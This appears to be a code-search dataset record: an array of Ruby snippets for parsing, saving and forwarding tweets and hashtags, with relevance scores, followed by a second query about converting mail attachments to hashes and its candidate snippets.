"def _hashtag_reference_ranking(text, profile)\n hashtag_references = text.split(WORD_DELIMITER).find_all do |word|\n word.match(/^#/)\n end\n \n return 100 if hashtag_references.size == 0\n\n hashtag_references.inject(0) do |ranking, hashtag|\n ranking + (profile.hashtag_mentions.has_key?(hashtag) ? (100 / hashtag_references.size) : 0)\n end\n end",
"def twitter_user_id\n raw['id']\n end",
"def retweet?(message)\n message.index('RT @') || message.index(%{ \"@}) || message.index(\" \\u201c@\") #detect retweets\n end",
"def twitter_id(user_id)\n %Q|<a href=\"//twitter.com/#{user_id}\" link=\"_blank\">#{user_id}さん</a>|\nend",
"def execute(msg, tweet)\n return if Variables::Constants::IGNORED_USERS.include?(msg.user.nick)\n # 134 because it has to fit \"[IRC] \"\n if tweet.length > 1 && tweet.length < 134\n twitter = LittleHelper.init_twitter\n twitter.update(\"[IRC] #{tweet}\")\n msg.reply('Successfully tweeted!'.freeze)\n else\n msg.reply('That tweet is either too long or too short.'.freeze)\n end\n end",
"def extract_search(tweet)\n tweet.text.downcase.sub('@rijks_bot', '').strip\n end",
"def twitter?; twitter.to_s != \"\" end",
"def getIncomingTweets\n words = ['Zynga','YouTube','Yahoo','Xbox','Windows','Wikipedia','Twitter','Tumblr','Telecoms','Symbian','Oracle','Spotify','Sony','Smartphones','Skype','Samsung','Reddit','Oracle','Nokia','Nintendo','Acer','Acta','Activision','Blizzard','Adobe','Amazon','Android','AOL','Apple','Asus','Bing','Bitcoin','BitTorrent','BlackBerry','Chatroulette','snapchat','Craigslist','Dell','Digg','ebay','Facebook','Firefox','Flickr','Foursquare','gmail','google','groupon','htc','ibm','Instagram','Intel','iPad','iPadmini','iPhone','ipod','iTunes','Kickstarter','Kindle','KindleFire','Kinect','LinkedIn','Linux','Macworld','Megaupload','Microsoft','Mozilla','Myspace','Congress','Obama','Boehner','EricCantor','Biden','Pelosi','Democrats','Republicans','Cruz','Constitution','Federal','Legislature','Senate','Obamacare', 'Acquisition','AMEX','Amortization','Arbitrage','Bank','Bankrupt','Barter','Bear','Beneficiary','Bond','Broker','Brokerage','Bull','Buying','Buyout','Collateral','Commodity','Credit','Debenture','Debit','Debt','Default','Delinquency','Demand','Depository','Depreciation','Depression','Deregulation','Embezzlement','Federal','Fees','Fiscal','Foreclosure','Lendingrate','Leverage','Liability','Lien','Liquidity','Long-term','Lowrisk','Merger','NYSE','OTC','Recession','Regulation','Securities','Takeover','Underwriter']\n TweetStream::Client.new.on_error do |message|\n puts \"Error: #{message.to_s} \"\n end.track('Zynga','YouTube','Yahoo','Xbox','Windows','Wikipedia','Twitter','Tumblr','Telecoms','Symbian','Oracle','Spotify','Sony','Smartphones','Skype','Samsung','Reddit','Oracle','Nokia','Nintendo','Acer','Acta','Activision','Blizzard','Adobe','Amazon','Android','AOL','Apple','Asus','Bing','Bitcoin','BitTorrent','BlackBerry','Chatroulette','snapchat','Craigslist','Dell','Digg','ebay','Facebook','Firefox','Flickr','Foursquare','gmail','google','groupon','htc','ibm','Instagram','Intel','iPad','iPadmini','iPhone','ipod','iTunes','Kickstarter','Kindle','KindleFire','Kinect','LinkedIn','Linux','Macworld','Megaupload','Microsoft','Mozilla','Myspace','Congress','Obama','Boehner','EricCantor','Biden','Pelosi','Democrats','Republicans','Cruz','Constitution','Federal','Legislature','Senate','Obamacare', 'Acquisition','AMEX','Amortization','Arbitrage','Bank','Bankrupt','Barter','Bear','Beneficiary','Bond','Broker','Brokerage','Bull','Buying','Buyout','Collateral','Commodity','Credit','Debenture','Debit','Debt','Default','Delinquency','Demand','Depository','Depreciation','Depression','Deregulation','Embezzlement','Federal','Fees','Fiscal','Foreclosure','Lendingrate','Leverage','Liability','Lien','Liquidity','Long-term','Lowrisk','Merger','NYSE','OTC','Recession','Regulation','Securities','Takeover','Underwriter') do |status|\n if status.text.language.to_s == \"english\" && !status.retweet?\n if words.any? {|word| status.text.include?(word)}\n prep = @conn.prepare(\"INSERT INTO stream(response) VALUES(?)\")\n prep.execute status.text\n prep.close\n end\n end\n end\n end",
"def checkTwitterID(name)\n\t#url = \"https://twitter.com/search?q=Taylor%20Swift&src=typd\"\n\taccount=\"None\"\n\tc_name=name.gsub(\" \",\"%20\")\n name = name.downcase\n\turl = \"https://twitter.com/search?q=\"+c_name+\"&src=typd\"\n\tencoded_url = URI.encode(url)\n\turi=URI(encoded_url)\n\tresponse = Net::HTTP.get(uri)\n\n\tpeoplepage = Nokogiri::HTML(response)\n\taccounts = peoplepage.css(\"span.account-group-inner\")\n\tif !accounts.nil? \n\t\t(0..accounts.length-1).each do |n|\n\t\t\tverify = accounts[n].css(\"span.icon\")\n\t\t\t#1. check if the account is verified\n\t\t\t#2. check if user name is full name is the same as celebrity's name\n\t\t\tif !verify.nil? and verify.text == \"Verified account\" and accounts[n].css(\"strong\").text.downcase == name\n\t\t\t\tid = accounts[n].css(\"small\").text\n\t\t\t\taccount=\"https://twitter.com/\"+id[1..id.length]\n\t\t\tend\n\t\tend\n\tend\n\treturn account\nend",
"def initialize(hashtags = \"nsfail\")\n self.hashtags = hashtags\n end",
"def save_tweet(tweet)\n if self.save_tweet?(tweet)\n author = @parser.get_author(tweet)\n if Tweet.where(twitter_id: tweet.id).blank?\n t = author.tweets.create(\n text: tweet.text,\n retweets: tweet.retweet_count,\n twitter_id: tweet.id\n )\n t.set_webpages(@parser.get_webpages(tweet)) unless @parser.get_webpages(tweet).nil?\n t.set_hashtags(@parser.get_hashtags(tweet)) unless @parser.get_hashtags(tweet).nil?\n generate_hashtag_hashtag(t.get_hashtags)\n generate_author_hashtag(t.get_author, t.get_hashtags)\n end\n end\n end",
"def link_check\n\t\tif self.message.include? \"https://\"\n\t\t\tarr = self.message.split\n\t\t\t# find me the index where the curly bracket area is equal to true, and set that index equal to indx\n\t\t\tindx = arr.map { |x| x.include? \"https://\"}.index(true)\n\t\t\t# take what is in the array at index # and assign it as a link attribute to the curent instance of tweet (self) \n\t\t\tself.link= arr[indx]\n\n\t\t\t# check and see if the item at array indx length is greater than 23? if so , we havfe to shorten it.\n\t\t\tif arr[indx].length > 23\n\t\t\t\tarr[indx]=\"#{arr[indx][0..20]}...\"\n\t\t\tend\n\n\t\t\tself.message= arr.join(\" \")\n\t\tend\t\n\tend",
"def tweet(title)\n unless @twitter_client.nil?\n\n # Make sure the title is short enough\n if title.length > 80\n title = title[0,80]\n end\n if @dj_tweeting\n @twitter_client.update(\"Now playing on #DuaneFM: #{title} http://bit.ly/1ErYiZr #hewitt\")\n end\n\n end\n end",
"def generate_tweet\n raw_tweet = raw['status']\n JsonTweet.new(raw_tweet, twitter_user_id).generate_tweet if raw_tweet\n end",
"def contains_eb_blog_post(tweet)\n url = tweet.match(/http:\\/\\/t\\.co\\/\\w* /).to_s.chomp\n return false if url.empty?\n final_url = get_final_url(url)\n return (final_url.match(/http:\\/\\/blog.eventbrite.com/) ? final_url : false)\nend",
"def hashtag_mentions\n return {} if self.collection_yaml.nil?\n return self[:hashtag_mentions] unless self[:hashtag_mentions].nil?\n\n # Obtain all hashtag mention entities from all eligible status updates\n mentions = status_updates.map do |status_update|\n status_update['entities']['hashtags']\n end\n \n # Count all hashtag references in all entity entries\n self[:hashtag_mentions] = Hash.new { 0 }\n mention_counter = mentions.each do |mention|\n mention.each do |hashtag|\n self[:hashtag_mentions][\"\\##{hashtag['text']}\"] += 1\n end\n end\n self.save!\n\n self[:hashtag_mentions]\n end",
"def parse_hashtags\n hashtags = extract_hashtags(@title)\n hashtags += extract_hashtags(@description)\n @albums.each do |album|\n hashtags += extract_hashtags(album['name'])\n hashtags += extract_hashtags(album['description'])\n end\n\n if @tags\n @tags.concat hashtags.uniq\n @tags = @tags.uniq\n else\n @tags = hashtags.uniq\n end\n end",
"def parse(tweet)\n # Get tweet content\n @tweet_content = { 'uris' => @formatter.get_uri_hosts(tweet),\n 'hashtags' => @formatter.get_hashtags(tweet),\n 'mentions'=> @formatter.get_mentions(tweet),\n 'text' => @formatter.get_text(tweet) }\n\n # Add to the appropriate queue if it contains content we're looking for\n if !compare(@blacklist_config, @tweet_content)\n if compare(@priority_config, @tweet_content) # tweet matches config[priority]\n return 2\n elsif compare(@normal_config, @tweet_content)# tweet matches config[normal]\n return 1\n else # tweet does not match any config, or our blacklist\n return 0\n end\n else # tweet matches blacklist; other matches ignored\n return -1\n end\n\n end",
"def process_tweet(tweet)\n log_info { \"New Tweet: #{tweet.uri}\" }\n\n if tweet.retweeted_status.present?\n text =\n \"Retweeted from <a href=\\\"https://twitter.com/#{tweet.retweeted_status.user.screen_name}\\\">@#{tweet.retweeted_status.user.screen_name}</a>:\\n\" +\n convert_all_entities(tweet.retweeted_status)\n\n send_media_of tweet.retweeted_status, retweeted: true\n\n elsif tweet.quoted_status?\n text =\n convert_all_entities(tweet) + \"\\n\\n\" +\n \"Retweeted from <a href=\\\"https://twitter.com/#{tweet.quoted_status.user.screen_name}\\\">@#{tweet.quoted_status.user.screen_name}</a>:\\n\" +\n convert_all_entities(tweet.quoted_status)\n\n send_media_of tweet.quoted_status, retweeted: true\n\n else\n text = convert_all_entities(tweet)\n\n send_media_of tweet\n\n end\n\n text = text + \"\\n\\n<a href=\\\"#{tweet.uri}\\\">Reply</a>\"\n\n @bot.telegram.api.send_message(\n chat_id: @config.twitter.target_channel,\n text: text,\n parse_mode: 'HTML',\n disable_web_page_preview: true\n )\n\n end",
"def generate_tags\n\t\ttags = Twitter::Extractor.extract_hashtags(caption)\n\t\ttags.each do |tag|\n\t\t\thashtag = Hashtag.find_by_name(tag)\n\t\t\tif hashtag\n\t\t\t\thashtags << hashtag\n\t\t\telse\n\t\t\t\thashtags.build(:name => tag)\n\t\t\tend\n\t\tend\n\tend",
"def construct_tweet(path = \"\", text = ENV[\"TWEET_COPY_GENERAL\"])\n return \"https://twitter.com/share?url=\"+u(get_url(path))+\"&text=\"+text\n end",
"def create\n # You have to use Tweet.create instead of Tweet.new because you need @tweet to create the id to be able to use it wehn we connect the associaiton between tags and tweet through Tweet_tag. The association can be formed without an id from @tweet \n @tweet = Tweet.create(tweet_params)\n # We make a new array to hold each word of our tweet\n message_arr = Array.new \n message_arr = @tweet.message.split \n\n #This will parse through the indiviual words in that tweet \n message_arr.each_with_index do |word,index|\n #If the first letter is a hashtag in the word \n #We will either add it in our Tag model, or if it wasn't created yet we create a new instance of it \n if word[0] == \"#\"\n #Pluck is a method that returns an array of attributes that matches the column's name \n #With that being said we are looking if that array includes the word \n #If it does then there is already a record of it in our database if not we will add it in \n if Tag.pluck(:phrase).include?(word)\n tag = Tag.find_by(phrase: word)\n else \n tag = Tag.create(phrase: word)\n end\n # So after we create a new instance of Tag or found it in the database we can use both tag and @tweet to set up the association by passing it into TweetTag \n tweet_tag = TweetTag.create(tweet_id: @tweet.id, tag_id: tag.id)\n #message_arr[index] will return the word that includes the #hashtag, then we will change that #hashtag word into a link\n message_arr[index] = \"<a href='/tag_tweets?id=#{tag.id}'>#{word}</a>\"\n end\n end\n #After We are do with parsing through the tweet and checking if there is a #hashtag or not we then join the tweet back together because it was split and assign \n @tweet.update(message: message_arr.join(\" \"))\n\n\n # get_tag(@tweet)\n\n respond_to do |format|\n if @tweet.save\n format.html { redirect_to @tweet, notice: 'Tweet was successfully created.' }\n format.json { render :show, status: :created, location: @tweet }\n else\n format.html { render :new }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def on_mention(tweet)\n txt = tweet.text.split[1..-1].join(' ')\n response = MODEL.make_response(txt, 100)\n reply(tweet, response)\n end",
"def twitter_url\n\t\ttwitter = []\n\t\ttext = html.search(\"a\").text.split(\" \")\n\t\ttext.each do |element|\n\t\t\tif element.to_s.match(/@/)\n\t\t\t\ttwitter << element\n\t\t\tend\n\t\tend\n\t\t\treturn twitter\n\tend",
"def getHashtags( num_hashtags = nil )\n \n #get all hashtags\n hashtags = (@min_hash..@max_hash).to_a\n \n #limit if necessary\n if num_hashtags\n hashtags = hashtags.sample( num_hashtags )\n end\n \n #return\n hashtags\n \n end"
] |
[
"0.7069516",
"0.69958436",
"0.6920261",
"0.6802613",
"0.6779137",
"0.67112666",
"0.6662975",
"0.6647694",
"0.66186816",
"0.65907896",
"0.65764135",
"0.6560696",
"0.6508572",
"0.64373904",
"0.64076805",
"0.63967055",
"0.6378412",
"0.63530314",
"0.63244104",
"0.6298788",
"0.6291612",
"0.6266308",
"0.6236373",
"0.623499",
"0.6206691",
"0.6179218",
"0.6136983",
"0.61159",
"0.6068415",
"0.60615295",
"0.59807426",
"0.5980326",
"0.59552836",
"0.5941493",
"0.5930044",
"0.5924584",
"0.591844",
"0.59104985",
"0.5886337",
"0.5872419",
"0.5823706",
"0.58234453",
"0.5817499",
"0.58022124",
"0.57840854",
"0.57770956",
"0.5749113",
"0.57482255",
"0.5721526",
"0.5701856",
"0.5688741",
"0.5677822",
"0.5657235",
"0.56521845",
"0.5648694",
"0.5629844",
"0.5620169",
"0.56188744",
"0.5617806",
"0.5596704",
"0.55773205",
"0.5575174",
"0.55675936",
"0.5558652",
"0.55241907",
"0.55092406",
"0.5507323",
"0.547707",
"0.5462679",
"0.54608196",
"0.544983",
"0.544104",
"0.5437173",
"0.5415543",
"0.54114133",
"0.5411134",
"0.54046506",
"0.5401568",
"0.53890526",
"0.5375735",
"0.5358913",
"0.53587747",
"0.5339357",
"0.53125685",
"0.5311739",
"0.5306617",
"0.5305596",
"0.526924",
"0.52653384",
"0.5262587",
"0.52606803",
"0.5252012",
"0.52512485",
"0.5241429",
"0.52183664",
"0.52161133",
"0.5214261",
"0.52043015",
"0.52040756",
"0.5201656"
] |
0.64037347
|
15
|
Converts the attachment into a hash, suitable for being sent to the Slack API.
|
def to_hash
options.merge({
fallback: options[:fallback] || text,
text: text,
})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash\n [attachments, billing, body, body_html, body_rtf, body_type, categories, companies, item_id, message_class, mileage, recipients, sensitivity, subject, subject_prefix, properties, discriminator, electronic_addresses, events, name_info, other_fields, personal_info, photo, physical_addresses, professional_info, telephones].hash\n end",
"def hash\n [attachments, created_by_id, created_by_name, created_on, id, modified_by_id, modified_by_name, modified_on, name, owners, status_id, status_name, address_business_city, address_business_country, address_business_is_primary, address_business_line1, address_business_state, address_business_zip_code, address_home_city, address_home_country, address_home_is_primary, address_home_line1, address_home_state, address_home_zip_code, address_other_city, address_other_country, address_other_is_primary, address_other_line1, address_other_state, address_other_zip_code, current_position_company_id, current_position_company_name, current_position_title, current_position_when_end, current_position_when_start, description, education_accreditation_id, education_accreditation_name, education_honors, education_institution_id, education_institution_name, education_when_end, education_when_start, email_address_other, email_address_other_is_primary, email_address_personal, email_address_personal_is_primary, email_address_work, email_address_work_is_primary, ethnicity_id, ethnicity_name, external_primary_key, first_name, gender_id, gender_name, key_date_anniversary, key_date_birthday, key_date_other, last_name, middle_name, nick_name, phone_number_fax, phone_number_fax_extension, phone_number_fax_is_primary, phone_number_home, phone_number_home_extension, phone_number_home_is_primary, phone_number_mobile, phone_number_mobile_extension, phone_number_mobile_is_primary, phone_number_other, phone_number_other_extension, phone_number_other_is_primary, phone_number_skype, phone_number_skype_extension, phone_number_skype_is_primary, phone_number_work_direct, phone_number_work_direct_extension, phone_number_work_direct_is_primary, phone_number_work_main, phone_number_work_main_extension, phone_number_work_main_is_primary, preferred_contact_method_type_id, preferred_contact_method_type_name, record_type, related_contact_assistant_first_name, related_contact_assistant_id, related_contact_assistant_is_primary, related_contact_assistant_last_name, related_contact_client_first_name, related_contact_client_id, related_contact_client_is_primary, related_contact_client_last_name, related_contact_other_first_name, related_contact_other_id, related_contact_other_is_primary, related_contact_other_last_name, related_contact_referred_by_first_name, related_contact_referred_by_id, related_contact_referred_by_is_primary, related_contact_referred_by_last_name, related_contact_spouse_first_name, related_contact_spouse_id, related_contact_spouse_is_primary, related_contact_spouse_last_name, salary, salary_details, salutation_id, salutation_name, social_aim, social_aim_is_primary, social_facebook_chat, social_facebook_chat_is_primary, social_face_time, social_face_time_is_primary, social_google_talk, social_google_talk_is_primary, social_icq, social_icq_is_primary, social_other, social_other_is_primary, social_skype, social_skype_is_primary, social_twitter, social_twitter_is_primary, social_yahoo_msg, social_yahoo_msg_is_primary, source_id, source_name, suffix_id, suffix_name, tags, website_blog, website_blog_is_primary, website_business, website_business_is_primary, website_facebook, website_facebook_is_primary, website_linked_in, website_linked_in_is_primary, website_other, website_other_is_primary, website_personal, website_personal_is_primary].hash\n end",
"def formated_api\n {\n url: self.attachment.url,\n md5: self.md5,\n }\n end",
"def process_attachment(attach)\n #DaemonKit.logger.debug \"Parsing FB attachment data => #{attach.inspect}\"\n \n if attach.kind_of?(Hash) && attach.has_key?('media')\n if attach['media'].empty?\n @attachment = attach\n @attachment_type = UnknownAttachment\n else\n # Old Facebooker response hash format\n media = nil\n if Facebooker::VERSION::STRING <= \"1.0.62\"\n if attach['media'].has_key?('stream_media') && attach['media']['stream_media'].any?\n media = attach['media']['stream_media']\n end\n else\n media = attach.media[0] # Can be more than one now?\n end\n \n if media\n @attachment = media\n @attachment_type = media['type']\n else\n @attachment = Hashie::Mash.new\n @attachment_type = UnknownAttachment\n end\n # Add other attachment attributes\n @attachment.name = attach['name']\n @attachment.description = attach['description']\n @attachment.caption = attach['caption']\n @attachment.properties = attach['properties']\n end\n DaemonKit.logger.debug \"Parsed FB attachment type => #{@attachment_type}\"\n else\n @attachment_type = UnknownAttachment\n end\n end",
"def to_mandrill_hash\n images, attachments = mandrill_attachments.partition do |attachment|\n attachment['type'].start_with?('image/')\n end\n\n hash = {\n 'html' => body_html,\n 'text' => body_text,\n 'subject' => subject,\n 'from_email' => from && from.first,\n 'from_name' => from && self[:from].display_names.first,\n 'to' => mandrill_to,\n 'headers' => mandrill_headers,\n 'attachments' => attachments,\n 'images' => images,\n 'tags' => tags,\n }\n\n normalize(hash)\n end",
"def to_hash\n body.to_hash\n end",
"def convert_attachment(attachment)\n return nil unless attachment['type'] == 'image'\n\n {\n kind: :image,\n image: attachment['url']\n }\n end",
"def file_hash\n return @file_hash\n end",
"def hash(attachment = nil, style_name = nil)\n if attachment && style_name\n attachment.hash_key(style_name)\n else\n super()\n end\n end",
"def to_hash\n {\n :id => id.to_s,\n :name => file.original_filename,\n :mime => file.content_type,\n :size => file.size,\n :versions => {\n :original => file.url,\n :icon => file.url(:icon),\n :thumb => file.url(:thumb)\n }\n }\n end",
"def attachment\n @attachment\n end",
"def fingerprint(attachment, _style_name)\n attachment.fingerprint\n end",
"def attachments_metadata\n @attachments_metadata || {}\n end",
"def hash\n return (path + file_id.to_s).hash\n end",
"def request_body\n hash = {\n 'platformMsgs:attachReferece' => {\n :content! => @object.to_record,\n '@xsi:type' => @object.record_type\n }\n }\n #not crazy about this solution but not sure how else to get the 'xsi:type' var in the hash\n hash[\"platformMsgs:attachReferece\"][:content!][:attributes!][\"platformCore:attachTo\"][\"xsi:type\"] = \"platformCore:RecordRef\"\n hash[\"platformMsgs:attachReferece\"][:content!][:attributes!][\"platformCore:attachedRecord\"][\"xsi:type\"] = \"platformCore:RecordRef\"\n\n hash\n end",
"def attachment\n mail.attachments.map do |attachment|\n blob = ActiveStorage::Blob.create_after_upload!(\n io: StringIO.new(attachment.decoded),\n filename: attachment.filename,\n content_type: attachment.content_type\n )\n return blob\n end\n end",
"def postmark_attachments\n attachments.map do |attachment|\n hash = {\n 'ContentType' => attachment.content_type,\n 'Name' => attachment.filename,\n 'Content' => Base64.encode64(attachment.body.decoded)\n }\n if attachment.content_type.start_with?('image/')\n hash['ContentID'] = attachment.filename\n end\n hash\n end\n end",
"def decode_attachments\n self[\"_attachments\"].each do |attachment_id, attachment_properties|\n self[\"_attachments\"][attachment_id][\"data\"] = Base64.decode64 attachment_properties[\"data\"] if attachment_properties[\"data\"] \n end if self[\"_attachments\"]\n end",
"def hash\n [action, attachments, attendees, description, duration, repeat, summary, trigger].hash\n end",
"def media_object_hash\n fields_to_hash media_object_fields\n end",
"def hash\n bytes.hash\n end",
"def attachment(hash)\n if found = @users[hash['id']]\n found\n end\n end",
"def headers\n @attachment_as_ruby.first\n end",
"def hash\n [color, cards, address_placement, custom_envelope, double_sided, extra_service, mail_type, return_envelope, bleed, file_original_url].hash\n end",
"def mandrill_attachments\n attachments.map do |attachment|\n {\n 'type' => attachment.content_type,\n 'name' => attachment.filename,\n 'content' => Base64.encode64(attachment.body.decoded)\n }\n end\n end",
"def hash\n [id, to, from, description, metadata, merge_variables, send_date, mail_type, memo, check_number, message, amount, bank_account, check_bottom_template_id, attachment_template_id, check_bottom_template_version_id, attachment_template_version_id, url, carrier, thumbnails, expected_delivery_date, tracking_events, object, date_created, date_modified, deleted, use_type].hash\n end",
"def hash\n [created, changed_by, updated, id, account_id, subscription_id, invoice_id, from, to, cc, bcc, subject, html, attachment_filename, attachment_html, plain, sent, state, deleted, header_url, salutation, paragraph1, paragraph2, footer_information, signoff, emai_subscription_type, notification_id, organization_id].hash\n end",
"def hash_from_payload(payload)\n Digest::SHA256.digest(Digest::SHA256.digest( payload )).reverse.unpack(\"H*\")[0]\n end",
"def to_hash\n @content.to_hash\n end",
"def to_hash\n { :file => file, :format => format, :media => media }\n end",
"def hash\n to_pem.hash\n end",
"def hash\n to_pem.hash\n end",
"def jq_upload_of(attachment)\n {\n name: attachment.read_attribute(:file),\n id: attachment.id,\n size: attachment.file.size,\n url: attachment.file.url,\n delete_url: attachment_path(attachment),\n delete_type: 'DELETE'\n }\n end",
"def hash\n data.hash\n end",
"def to_hash\n # TODO: find a better option to populate the data to the Hash\n image;feed;links;charset;absolute_links;title;meta_keywords\n @data.to_hash\n end",
"def hash\n [author_email, author_name, author_time, branch, commit_time, committer_email, committer_name, default_branch, message, repository_url, sha, tag].hash\n end",
"def hash\n @content.hash\n end",
"def create_image_attachment(attachment_data_hash)\r\n\r\n # Base64-encoded string of image bytes for upload to Rally\r\n attachment_content_string = Base64.encode64(attachment_data_hash[:bytes])\r\n\r\n # Create Rally Attachment Content Object\r\n attachment_content = @rally.create(:attachmentcontent, {\"Content\" => attachment_content_string})\r\n\r\n # Now create Rally Attachment and wire it up to Story\r\n attachment_fields = {}\r\n attachment_fields[\"Name\"] = attachment_data_hash[:name]\r\n attachment_fields[\"ContentType\"] = attachment_data_hash[:mimetype]\r\n attachment_fields[\"Content\"] = attachment_content\r\n attachment_fields[\"Artifact\"] = attachment_data_hash[:artifact]\r\n attachment_fields[\"Size\"] = attachment_data_hash[:size]\r\n attachment = @rally.create(:attachment, attachment_fields)\r\n\r\n @logger.info \"Imported #{attachment_data_hash[:name]} and attached to Rally Story with ObjectD: #{attachment_data_hash[:artifactoid]}.\"\r\n return attachment\r\n end",
"def _cleanup_file_to_h( file, attach_h )\r\n file_name = file.xpath('file-name').text.strip\r\n file_h = {}\r\n data = file.xpath('size')\r\n file_h[:size_text] = data.attribute('format').value\r\n file_h[:size] = data.text.to_i\r\n file_h[:date] = file.xpath('date').text.strip\r\n attach_h[file_name] = file_h\r\n file_h \r\n end",
"def attachment_fields_hash\n @attachment_fields_hash ||=\n setups.inject({}) do |hash, setup|\n setup.all_attachment_fields.each do |text_field|\n (hash[text_field.name] ||= Set.new) << text_field\n end\n hash\n end\n end",
"def attachments\n (msg['attachments']||{}).map{|attached| Mandrill::WebHook::Attachment[attached.last] }\n end",
"def peer_hash\n {\n :info_hash => sha,\n :peer_id => peer_id,\n :left => piece_length,\n :pieces => stream['info']['files']\n }\n end",
"def record\n attachment.record\n end",
"def hash\n to_s.hash\n end",
"def to_h\r\n {\r\n \"name\": @body[:_key],\r\n \"id\": @body[:_id],\r\n \"rev\": @body[:_rev],\r\n \"from\": @body[:_from],\r\n \"to\": @body[:_to],\r\n \"body\": @body,\r\n \"cache_name\": @cache_name,\r\n \"collection\": @collection.name,\r\n \"graph\": @graph&.name\r\n }.delete_if{|k,v| v.nil?}\r\n end",
"def hash\n [format, display_header, display_from_email_address, display_email_address, display_to_email_address, display_cc_email_address, display_bcc_email_address, time_zone_offset, convert_attachments, field_labels, preserve_original_date].hash\n end",
"def hash\n [class_id, object_type, msg_type, path, stream].hash\n end",
"def save_processed_data\n attachment.update(processed_data: json_parser.final_hash)\n end",
"def to_hash\n @content\n end",
"def attachment_data\n @attachment_url && @client.get_file(@attachment_url)\n end",
"def message_fingerprint\n return @message_fingerprint\n end",
"def hash\r\n return to_s.hash\r\n end",
"def peer_record_to_hash(line)\n\t\t\tpeer_array_to_hash(line.split(DELIMITER))\n\t\tend",
"def hash\n return to_s.hash\n end",
"def to_hash\n r_hash = {}\n r_hash['meta'] = self.meta\n r_hash['payload'] = {\n 'id' => self.id,\n 'asset' => self.asset,\n 'time' => self.time,\n 'bs' => self.bs,\n 'type' => self.type,\n 'reason' => self.reason\n }\n r_hash.delete_if { |k, v| v.nil? }\n end",
"def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end",
"def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end",
"def hash\n [id, sender, receiver, text, status, contact_id, session_id, message_time, avatar, deleted, charset, charset_label, first_name, last_name, country, phone, price, parts_count, from_email, from_number].hash\n end",
"def hash\n [deleted, edited_by_user, email_communication_sequence_email_uuid, email_communication_sequence_uuid, email_container_cjson, email_container_cjson_last_modified_dts, email_template_vm_path, filter_profile_equation_json, individually_render, library_item_oid, magic_link, merchant_id, pending_review, preview_text, rejected, requires_review, screenshot_large_full_url, screenshot_large_viewport_url, screenshot_small_full_url, screenshot_small_viewport_url, smart_sending, storefront_oid, subject, suspended_for_spam, transactional_email, version].hash\n end",
"def get_image\n {\n \"attachments\": [\n {\n \"fallback\": \"Alex Trabek and Sean Connery.\",\n \"color\": \"#36a64f\",\n \"pretext\": \"\",\n \"author_name\": \"Trabek\",\n \"text\": \"\",\n \"image_url\": \"http://www2.pictures.zimbio.com/mp/GWnfFL2ID3Fl.jpg\",\n \"ts\": 123456789\n }\n ]\n }.to_json\n end",
"def hash\n path.hash\n end",
"def filename\n attachment.original_filename\n end",
"def to_hash\n {\n :name => @name,\n :file_as => @file_as,\n :role => @role\n }\n end",
"def to_hash\n data.to_hash\n end",
"def to_hash\n data.to_hash\n end",
"def image_hash; end",
"def hash_bytes(blob)\n tlsh_hash(blob)\n end",
"def to_hash\n {\n :title => html_title,\n :data => raw_data,\n :sha => sha,\n :url => permalink\n }\n end",
"def to_sha(hash)\n # converts a hash to a SHA256\n return Digest::SHA256.hexdigest(JSON.dump(hash))\nend",
"def attachment\n participant.attachment(rubric_item.filename)\n end",
"def mime_part\n message.mime_part\n end",
"def files_hash\n @files_hash\n end",
"def hash\n digest = Digest::MD5.new\n digest << title.to_s\n digest << content.join('').to_s\n digest.to_s\n end",
"def parse_attachment(results, key)\n attachments = results.collect do |result|\n file_path = result[key]\n if file_path\n file_path = file_path.to_s.sub(\"share://\",\"\")\n begin\n filesize=File.size?(\"/data/#{file_path}\")\n if filesize > ENV['MAXIMUM_FILE_SIZE'].to_i\n raise \"#{file_path} filesize #{filesize} is too large, not reading \"\n end\n File.open(\"/data/#{file_path}\", \"rb\") do |file|\n contents = Base64.strict_encode64 file.read\n contents\n end\n rescue Errno::ENOENT, IOError => e\n log.warn \"Error reading \\\"/data/#{file_path}\\\": #{e.inspect}\"\n nil\n end\n else\n nil\n end\n end\n\n case attachments.length\n when 0\n [key, nil]\n when 1\n [key, attachments.first]\n else\n [key, attachments.collect { |attachment| { data: attachment} }]\n end\nend",
"def upload_attachment(safebox, attachment)\n if attachment.guid.nil?\n result = @json_client.upload_file(safebox.upload_url, attachment.file_path || attachment.file, attachment.content_type, attachment.filename)\n attachment.guid = result[\"temporary_document\"][\"document_guid\"]\n end\n attachment\n end",
"def md5_of_message_attributes\n data[:md5_of_message_attributes]\n end",
"def attachment; end",
"def hash\n to_s.hash\n end",
"def hash\n to_s.hash\n end",
"def send_hash\n @user = User.find(params[:user_id])\n @id1 = params[:user_id]\n @file_uploads = FileUpload.find_by_id(params[:file_upload_id])\n @md5 = Digest::MD5.file(@file_uploads.attachment.path).hexdigest \n @message = RequestMessage.create(:status_code=>502, :file_hash=>@md5, :file_upload_id=>@file_uploads[:id], :user_id=>@id1)\n #if @message.save\n redirect_to user_file_uploads_path\n #end\n end",
"def hash\n @hash.hash\n end",
"def hash\n [custom_headers, encode_as, name, payload, url].hash\n end",
"def attachment(key)\n # Use to_a.find to take advantage of the eager-loaded attachments and blobs.\n attachments.to_a.find { |a| a.key == key && a.file&.attached? }\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n @attachment.name = @attachment.file.blob.checksum\n respond_to do |format|\n if @attachment.save\n convert_to_line\n format.html { redirect_to attachment_line_list_path(@attachment), notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def attachment_params\n params.fetch(:attachment, {}).permit(:file_name, :attachment, :report_id)\n end",
"def calculate_payload_hash\n\t\treturn Digest::SHA2.hexdigest( self.payload )\n\tend",
"def hash\n [attachments, attendees, description, end_date, end_time_zone, flags, is_description_html, location, method, microsoft_busy_status, microsoft_intended_status, optional_attendees, organizer, recurrence_string, recurrence, reminders, sequence_id, start_date, start_time_zone, status, summary, transparency, _class, microsoft_importance].hash\n end",
"def to_jq_upload\n {\n \"id\" => id,\n \"name\" => attachment.original_filename,\n \"size\" => attachment.size,\n \"url\" => attachment.url(:original),\n \"thumbnail_url\" => attachment.url(:thumb),\n \"delete_url\" => attachment_path(id: id),\n \"delete_type\" => \"DELETE\"\n }\n end",
